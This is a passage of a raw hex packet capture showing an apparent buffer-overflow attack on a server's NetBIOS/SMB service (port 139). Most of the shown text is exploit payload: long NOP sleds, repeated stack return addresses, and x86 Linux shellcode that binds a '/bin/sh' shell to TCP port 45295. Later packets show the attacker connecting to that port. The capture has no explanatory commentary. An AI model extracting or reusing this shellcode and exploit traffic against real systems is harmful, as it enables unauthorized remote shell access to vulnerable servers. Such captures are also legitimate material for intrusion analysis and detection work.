0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 eb70 9010  .............p..
0x0480      f6ff bfa0 f6ff bf10 f6ff bfa0 f6ff bf10  ................
0x0490      f6ff bfa0 f6ff bf10 f6ff bfa0 f6ff bf10  ................
0x04a0      f6ff bfa0 f6ff bf10 f6ff bfa0 f6ff bf10  ................
0x04b0      f6ff bfa0 f6ff bf10 f6ff bfa0 f6ff bf10  ................
0x04c0      f6ff bfa0 f6ff bf10 f6ff bfa0 f6ff bf10  ................
0x04d0      f6ff bfa0 f6ff bf10 f6ff bfa0 f6ff bf90  ................
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:18.972156 XX.XX.XXX.164.34136 > XXX.XX.X.137.139: . 1563:3011(1448) ack 89 win 5840 <nop,nop,timestamp 8865151 8427816>NBT Packet (DF)
0x0000      4500 05dc d401 4000 2f06 40df 3e10 69a4  E.....@./.@.>.i.
0x0010      800a 097d 8558 008b 6949 9dae 6f77 0b12  ...}.X..iI..ow..
0x0020      8010 16d0 d233 0000 0101 080a 0087 457f  .....3........E.
0x0030      0080 9928 9090 9090 9090 9090 9090 9090  ...(............
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 31c0 31db 31c9 51b1 0651 b101  ....1.1.1.Q..Q..
0x01a0      51b1 0251 89e1 b301 b066 cd80 89c1 31c0  Q..Q.....f....1.
0x01b0      31db 5050 5066 68b0 efb3 0266 5389 e2b3  1.PPPfh....fS...
0x01c0      1053 b302 5251 89ca 89e1 b066 cd80 31db  .S..RQ.....f..1.
0x01d0      39c3 7405 31c0 40cd 8031 c050 5289 e1b3  9.t.1.@..1.PR...
0x01e0      04b0 66cd 8089 d731 c031 db31 c9b3 11b1  ..f....1.1.1....
0x01f0      01b0 30cd 8031 c031 db50 5057 89e1 b305  ..0..1.1.PPW....
0x0200      b066 cd80 89c6 31c0 31db b002 cd80 39c3  .f....1.1.....9.
0x0210      7540 31c0 89fb b006 cd80 31c0 31c9 89f3  u@1.......1.1...
0x0220      b03f cd80 31c0 41b0 3fcd 8031 c041 b03f  .?..1.A.?..1.A.?
0x0230      cd80 31c0 5068 2f2f 7368 682f 6269 6e89  ..1.Ph//shh/bin.
0x0240      e38b 5424 0850 5389 e1b0 0bcd 8031 c040  ..T$.PS......1.@
0x0250      cd80 31c0 89f3 b006 cd80 eb99 9090 9090  ..1.............
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0480      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0490      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:18.972158 XX.XX.XXX.164.34145 > XXX.XX.X.137.45295: S 1770393758:1770393758(0) win 5840 <mss 1460,sackOK,timestamp 8865151 0,nop,wscale 0> (DF)
0x0000      4500 003c 55e1 4000 2f06 c49f 3e10 69a4  E..<U.@./...>.i.
0x0010      800a 097d 8561 b0ef 6986 109e 0000 0000  ...}.a..i.......
0x0020      a002 16d0 0980 0000 0204 05b4 0402 080a  ................
0x0030      0087 457f 0000 0000 0103 0300            ..E.........
11:41:18.972256 XX.XX.XXX.164.34136 > XXX.XX.X.137.139: FP 3011:4114(1103) ack 89 win 5840 <nop,nop,timestamp 8865151 8427816>NBT Packet (DF)
0x0000      4500 0483 d402 4000 2f06 4237 3e10 69a4  E.....@./.B7>.i.
0x0010      800a 097d 8558 008b 6949 a356 6f77 0b12  ...}.X..iI.Vow..
0x0020      8019 16d0 3525 0000 0101 080a 0087 457f  ....5%........E.
0x0030      0080 9928 9090 9090 9090 9090 9090 9090  ...(............
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9000 0000  ................
0x0100      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0110      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0120      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0130      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0140      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0150      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0160      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0170      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0180      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0190      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0200      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0210      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0220      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0230      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0240      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0250      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0260      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0270      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0280      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0290      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0300      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0310      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0320      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0330      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0340      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0350      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0360      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0370      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0380      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0390      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0400      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0410      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0420      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0430      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0440      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0450      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0460      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0470      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0480      0000 00                                  ...
11:41:18.975521 XXX.XX.X.137.139 > XX.XX.XXX.164.34136: . ack 3011 win 8688 <nop,nop,timestamp 8427835 8865151> (DF)
0x0000      4500 0034 93ab 4000 4006 75dd 800a 097d  E..4..@.@.u....}
0x0010      3e10 69a4 008b 8558 6f77 0b12 6949 a356  >.i....Xow..iI.V
0x0020      8010 21f0 36c3 0000 0101 080a 0080 993b  ..!.6..........;
0x0030      0087 457f                                ..E.
11:41:18.975529 XXX.XX.X.137.139 > XX.XX.XXX.164.34136: . ack 3011 win 8688 <nop,nop,timestamp 8427835 8865151> (DF)
0x0000      4500 0034 93ab 4000 4006 75dd 800a 097d  E..4..@.@.u....}
0x0010      3e10 69a4 008b 8558 6f77 0b12 6949 a356  >.i....Xow..iI.V
0x0020      8010 21f0 36c3 0000 0101 080a 0080 993b  ..!.6..........;
0x0030      0087 457f                                ..E.
11:41:18.975662 XXX.XX.X.137.45295 > XX.XX.XXX.164.34145: S 1874952097:1874952097(0) ack 1770393759 win 5792 <mss 1460,sackOK,timestamp 8427835 8865151,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 b0ef 8561 6fc1 7fa1 6986 109f  >.i....ao...i...
0x0020      a012 16a0 8080 0000 0204 05b4 0402 080a  ................
0x0030      0080 993b 0087 457f 0103 0300            ...;..E.....
11:41:18.975665 XXX.XX.X.137.45295 > XX.XX.XXX.164.34145: S 1874952097:1874952097(0) ack 1770393759 win 5792 <mss 1460,sackOK,timestamp 8427835 8865151,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 b0ef 8561 6fc1 7fa1 6986 109f  >.i....ao...i...
0x0020      a012 16a0 8080 0000 0204 05b4 0402 080a  ................
0x0030      0080 993b 0087 457f 0103 0300            ...;..E.....
11:41:18.975750 XXX.XX.X.137.139 > XX.XX.XXX.164.34141: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427835 8865150>NBT Packet (DF)
0x0000      4500 005f f014 4000 4006 1949 800a 097d  E.._..@.@..I...}
0x0010      3e10 69a4 008b 855d 6f31 6964 69a2 3e31  >.i....]o1idi.>1
0x0020      8018 16a0 d153 0000 0101 080a 0080 993b  .....S.........;
0x0030      0087 457e 0000 0027 ff53 4d42 7000 0000  ..E~...'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 5209 6400 0000 02ff ff01 0000 00    ..R.d..........
11:41:18.975752 XXX.XX.X.137.139 > XX.XX.XXX.164.34141: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427835 8865150>NBT Packet (DF)
0x0000      4500 005f f014 4000 4006 1949 800a 097d  E.._..@.@..I...}
0x0010      3e10 69a4 008b 855d 6f31 6964 69a2 3e31  >.i....]o1idi.>1
0x0020      8018 16a0 d153 0000 0101 080a 0080 993b  .....S.........;
0x0030      0087 457e 0000 0027 ff53 4d42 7000 0000  ..E~...'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 5209 6400 0000 02ff ff01 0000 00    ..R.d..........
11:41:18.977536 XXX.XX.X.137.139 > XX.XX.XXX.164.34136: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427835 8865151> (DF)
0x0000      4500 0034 93ac 4000 4006 75dc 800a 097d  E..4..@.@.u....}
0x0010      3e10 69a4 008b 8558 6f77 0b12 6949 a7a6  >.i....Xow..iI..
0x0020      8014 2d40 271f 0000 0101 080a 0080 993b  ..-@'..........;
0x0030      0087 457f                                ..E.
11:41:18.977545 XXX.XX.X.137.139 > XX.XX.XXX.164.34136: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427835 8865151> (DF)
0x0000      4500 0034 93ac 4000 4006 75dc 800a 097d  E..4..@.@.u....}
0x0010      3e10 69a4 008b 8558 6f77 0b12 6949 a7a6  >.i....Xow..iI..
0x0020      8014 2d40 271f 0000 0101 080a 0080 993b  ..-@'..........;
0x0030      0087 457f                                ..E.
11:41:18.981476 XX.XX.XXX.164.34140 > XXX.XX.X.137.45295: . ack 2 win 5840 <nop,nop,timestamp 8865157 8427818> (DF)
0x0000      4500 0034 0000 4000 2f06 1a89 3e10 69a4  E..4..@./...>.i.
0x0010      800a 097d 855c b0ef 6966 70ba 6f29 c1e7  ...}.\..ifp.o)..
0x0020      8010 16d0 0d7d 0000 0101 080a 0087 4585  .....}........E.
0x0030      0080 992a                                ...*
11:41:18.997355 XX.XX.XXX.164.34144 > XXX.XX.X.137.45295: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 8865166 8427820> (DF)
0x0000      4500 0034 e3fd 4000 2f06 368b 3e10 69a4  E..4..@./.6.>.i.
0x0010      800a 097d 8560 b0ef 691e a6c2 6f82 ae55  ...}.`..i...o..U
0x0020      8011 16d0 eae5 0000 0101 080a 0087 458e  ..............E.
0x0030      0080 992c                                ...,
11:41:18.997358 XX.XX.XXX.164.34144 > XXX.XX.X.137.45295: . ack 1 win 5840 <nop,nop,timestamp 8865166 8427820> (DF)
0x0000      4500 0034 e3fc 4000 2f06 368c 3e10 69a4  E..4..@./.6.>.i.
0x0010      800a 097d 8560 b0ef 691e a6c2 6f82 ae55  ...}.`..i...o..U
0x0020      8010 16d0 eae6 0000 0101 080a 0087 458e  ..............E.
0x0030      0080 992c                                ...,
11:41:18.997978 XXX.XX.X.137.45295 > XX.XX.XXX.164.34144: . ack 2 win 5792 <nop,nop,timestamp 8427836 8865166> (DF)
0x0000      4500 0034 3769 4000 4006 d21f 800a 097d  E..47i@.@......}
0x0010      3e10 69a4 b0ef 8560 6f82 ae55 691e a6c3  >.i....`o..Ui...
0x0020      8010 16a0 eb05 0000 0101 080a 0080 993c  ...............<
0x0030      0087 458e                                ..E.
11:41:18.997985 XXX.XX.X.137.45295 > XX.XX.XXX.164.34144: . ack 2 win 5792 <nop,nop,timestamp 8427836 8865166> (DF)
0x0000      4500 0034 3769 4000 4006 d21f 800a 097d  E..47i@.@......}
0x0010      3e10 69a4 b0ef 8560 6f82 ae55 691e a6c3  >.i....`o..Ui...
0x0020      8010 16a0 eb05 0000 0101 080a 0080 993c  ...............<
0x0030      0087 458e                                ..E.
11:41:19.008548 XXX.XX.X.137.45295 > XX.XX.XXX.164.34144: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 8427837 8865166> (DF)
0x0000      4500 0034 376a 4000 4006 d21e 800a 097d  E..47j@.@......}
0x0010      3e10 69a4 b0ef 8560 6f82 ae55 691e a6c3  >.i....`o..Ui...
0x0020      8011 16a0 eb03 0000 0101 080a 0080 993d  ...............=
0x0030      0087 458e                                ..E.
11:41:19.008557 XXX.XX.X.137.45295 > XX.XX.XXX.164.34144: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 8427837 8865166> (DF)
0x0000      4500 0034 376a 4000 4006 d21e 800a 097d  E..47j@.@......}
0x0010      3e10 69a4 b0ef 8560 6f82 ae55 691e a6c3  >.i....`o..Ui...
0x0020      8011 16a0 eb03 0000 0101 080a 0080 993d  ...............=
0x0030      0087 458e                                ..E.
11:41:19.032522 XX.XX.XXX.164.34138 > XXX.XX.X.137.139: . 115:1563(1448) ack 89 win 5840 <nop,nop,timestamp 8865183 8427824>NBT Packet (DF)
0x0000      4500 05dc ba7e 4000 2f06 5a62 3e10 69a4  E....~@./.Zb>.i.
0x0010      800a 097d 855a 008b 68ff ff57 6f3b fe45  ...}.Z..h..Wo;.E
0x0020      8010 16d0 777a 0000 0101 080a 0087 459f  ....wz........E.
0x0030      0080 9930 0004 0830 ff53 4d42 3200 0000  ...0...0.SMB2...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 0000 6400 0000 00d0 070c 00d0 070c  ....d...........
0x0060      0000 0000 0000 0000 0000 00d0 0743 000c  .............C..
0x0070      0014 0801 0000 0000 0000 0000 0000 0000  ................
0x0080      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0090      0000 0090 0090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0200      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0210      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0220      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0230      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0240      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0250      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 eb70 90e4  .............p..
0x0480      f4ff bf74 f5ff bfe4 f4ff bf74 f5ff bfe4  ...t.......t....
0x0490      f4ff bf74 f5ff bfe4 f4ff bf74 f5ff bfe4  ...t.......t....
0x04a0      f4ff bf74 f5ff bfe4 f4ff bf74 f5ff bfe4  ...t.......t....
0x04b0      f4ff bf74 f5ff bfe4 f4ff bf74 f5ff bfe4  ...t.......t....
0x04c0      f4ff bf74 f5ff bfe4 f4ff bf74 f5ff bfe4  ...t.......t....
0x04d0      f4ff bf74 f5ff bfe4 f4ff bf74 f5ff bf90  ...t.......t....
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:19.032652 XX.XX.XXX.164.34138 > XXX.XX.X.137.139: . 1563:3011(1448) ack 89 win 5840 <nop,nop,timestamp 8865183 8427824>NBT Packet (DF)
0x0000      4500 05dc ba7f 4000 2f06 5a61 3e10 69a4  E.....@./.Za>.i.
0x0010      800a 097d 855a 008b 6900 04ff 6f3b fe45  ...}.Z..i...o;.E
0x0020      8010 16d0 780a 0000 0101 080a 0087 459f  ....x.........E.
0x0030      0080 9930 9090 9090 9090 9090 9090 9090  ...0............
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
